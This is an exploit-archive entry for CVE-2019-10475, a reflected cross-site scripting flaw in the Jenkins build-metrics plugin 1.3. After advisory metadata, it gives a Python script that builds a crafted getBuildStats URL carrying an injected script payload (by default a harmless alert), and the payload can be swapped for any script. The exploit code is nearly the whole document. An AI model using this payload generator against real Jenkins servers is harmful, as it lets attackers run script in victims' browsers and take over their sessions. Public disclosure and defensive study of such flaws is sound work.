Jenkins Build-Metrics 1.3 Cross Site Scripting

2019.11.10
Credit: vesche
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79

# Exploit Title: Jenkins build-metrics plugin 1.3 - 'label' Cross-Site Scripting # Date: 2019-11-06 # Exploit Author: vesche (Austin Jackson) # Vendor Homepage: https://plugins.jenkins.io/build-metrics # Version: Jenkins build-metrics plugin 1.3 and below # Tested on: Debian 10 (Buster), Jenkins 2.203 (latest 2019-11-05), and build-metrics 1.3 # CVE: CVE-2019-10475 # Write-up: https://github.com/vesche/CVE-2019-10475 #!/usr/bin/env python import sys import argparse VULN_URL = '''{base_url}/plugin/build-metrics/getBuildStats?label={inject}&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search''' def get_parser(): parser = argparse.ArgumentParser(description='CVE-2019-10475') parser.add_argument('-p', '--port', help='port', default=80, type=int) parser.add_argument('-d', '--domain', help='domain', default='localhost', type=str) parser.add_argument('-i', '--inject', help='inject', default='<script>alert("CVE-2019-10475")</script>', type=str) return parser def main(): parser = get_parser() args = vars(parser.parse_args()) port = args['port'] domain = args['domain'] inject = args['inject'] if port == 80: base_url = f'http://{domain}' elif port == 443: base_url = f'https://{domain}' else: base_url = f'http://{domain}:{port}' build_url = VULN_URL.format(base_url=base_url, inject=inject) print(build_url) return 0 if __name__ == '__main__': sys.exit(main())


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